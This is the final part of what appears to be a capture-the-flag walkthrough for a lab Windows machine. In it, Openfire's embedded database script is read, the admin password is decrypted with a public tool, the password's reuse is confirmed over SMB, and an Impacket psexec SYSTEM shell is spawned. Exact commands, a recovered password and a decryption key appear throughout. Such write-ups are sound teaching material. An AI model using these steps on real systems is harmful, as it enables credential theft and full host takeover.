12/07/2019  12:14 PM    <DIR>          ModifiableWindowsApps
11/17/2023  03:22 PM    <DIR>          Openfire
04/26/2024  02:38 PM    <DIR>          RUXIM
05/03/2024  02:34 PM    <DIR>          VMware
11/17/2023  12:12 AM    <DIR>          Windows Defender
04/26/2024  04:39 PM    <DIR>          Windows Defender Advanced Threat Protection
11/16/2023  11:11 PM    <DIR>          Windows Mail
11/16/2023  11:11 PM    <DIR>          Windows Media Player
04/26/2024  04:39 PM    <DIR>          Windows Multimedia Platform
12/07/2019  12:50 PM    <DIR>          Windows NT
11/16/2023  11:11 PM    <DIR>          Windows Photo Viewer
04/26/2024  04:39 PM    <DIR>          Windows Portable Devices
12/07/2019  12:31 PM    <DIR>          Windows Security
12/07/2019  12:31 PM    <DIR>          WindowsPowerShell
               0 File(s)              0 bytes
              20 Dir(s)   7,742,881,792 bytes free

I note that, as openfire user I can read this directory:

C:\Program Files>icacls Openfire

icacls Openfire
Openfire SOLARLAB\blake:(OI)(CI)(N)
         NT SERVICE\TrustedInstaller:(CI)(F)
         NT AUTHORITY\SYSTEM:(OI)(CI)(F)
         BUILTIN\Administrators:(OI)(CI)(F)
         CREATOR OWNER:(OI)(CI)(IO)(F)
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)
         SOLARLAB\openfire:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

and I cannot as blakeb user.

Finally, at C:\Program Files\Openfire\embedded-db I can see a file called openfire.script. Reading it shows us:

C:\Program Files\Openfire\embedded-db>type openfire.script

type openfire.script
SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742
SET DATABASE GC 0
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
SET DATABASE EVENT LOG LEVEL 0
SET DATABASE TRANSACTION CONTROL LOCKS
<SNIP>
SET FILES LOG SIZE 20
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
ALTER USER SA SET LOCAL TRUE
<SNIP>
SET SCHEMA PUBLIC
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')
<SNIP>
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.admin.className','org.jivesoftware.openfire.admin.DefaultAdminProvider',0,NULL)
<SNIP>

Apparently, this is a script to automate some tasks in Openfire.

However, the password is not in plain text. It is encrypted. So we could use Openfire_decrypt repository to decrypt this password. Based on this Hashcat forum post we need 2 parameters to decrypt the password: encryptedPassword and passwordKey. The first parameter, encryptedPassword is not explicitly given, but passwordKey is. So we have 1 of 2. There is a line in the script that is interesting:

CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))

here I can see that ENCRYPTEDPASSWORD VARCHAR(255) is in the 7th column of table PUBLIC.OFUSER. In the script we also have the line:

INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

where the 7th column is the hash becb0<SNIP>9d442 for admin user. So we have the 2 things needed to decrypt the password:

  1. encryptedPassword value: becb0c67<SNIP>2e59d442
  2. passwordKey value: hGXiFzsKaAeYLjn

Now, in our attacker machine, just clone the Openfire decryptor repository and pass the found data:

❯ git clone https://github.com/c0rdis/openfire_decrypt

<SNIP>
❯ cd openfire_decrypt

❯ java OpenFireDecryptPass.java 'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442' 'hGXiFzsKaAeYLjn'

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)

Where we have a password: ThisPasswordShouldDo!@

Before using this password in Openfire GUI panel, I will check if this password is used by another user in the system like, for example, Administrator:

❯ netexec smb 10.10.11.16 -u 'Administrator' -p 'ThisPasswordShouldDo!@'

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         10.10.11.16     445    SOLARLAB         [+] solarlab\Administrator:ThisPasswordShouldDo!@ (Pwn3d!)

and it works.

Finally, since SMB service is running in the victim machine, I will use psexec.py from Impacket to spawn an interactive shell as nt authority/system user:

❯ rlwrap -cAr python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator:'ThisPasswordShouldDo!@'@10.10.11.16 cmd.exe

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.11.16.....
[*] Found writable share ADMIN$
[*] Uploading file TKSzIKUt.exe
[*] Opening SVCManager on 10.10.11.16.....
[*] Creating service bbPo on 10.10.11.16.....
[*] Starting service bbPo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami

nt authority\system

Where we can read the root flag at Administrator Desktop.

~ Happy Hacking